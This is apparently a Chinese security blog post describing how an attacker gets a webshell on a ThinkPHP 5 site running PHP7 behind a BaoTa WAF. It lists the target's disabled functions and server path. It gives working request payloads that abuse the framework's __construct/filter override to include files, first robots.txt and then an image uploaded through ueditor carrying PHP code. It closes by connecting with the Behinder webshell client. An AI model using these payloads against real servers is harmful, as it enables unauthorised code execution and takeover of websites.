TP5最新getshell漏洞

ThinkPHP 是一个快速、简单的基于 MVC 和面向对象的轻量级 PHP 开发框架,遵循 Apache2 开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重开发体验和易用性,为 WEB 应用和 API 开发提供了强有力的支持。

0X00 基本环境

确定目标存在tp5的漏洞,经过后期的探测发现安装有宝塔WAF。

基本环境为:php7 + 宝塔waf

因为php7之后基本确定舍弃了函数assert(),因此有关于assert的所有payload全部失效!!!

虽然网上有很多关于tp5+php7的文章,但是我尝试之后全部失败。

0x01 另辟蹊径

因为之前payload所显示的phpinfo不全,那我们换一种方式!

得出关键信息:

disable_functions:

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

得出关键信息:

网站绝对路径:/www/wwwroot/site

过程不多说!老规矩!

文件包含,payload:

_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=/www/wwwroot/site/public/robots.txt

正好找到了该站的编辑器。(ueditor默认路径)

那么我们现在只需要构造包含内容即可。

GIF98a

添加phpinfo是为了看代码是否正确的执行了,但如果你有自信认为一定成功,那随意。

上传图片,得到路径。

继续。

payload:

_method=__construct&filter[]=think__include_file&get[]=/www/wwwroot/site/public/upload/20190322/c627cb130d82cb2f9c5bf4575850cf79.jpg&method=get&server[]=

注意:路径一定要正确!!!

冰蝎连接shell。

收工。

作者:曲云杰

来源:Ms08067安全实验室

打开APP阅读更多精彩内容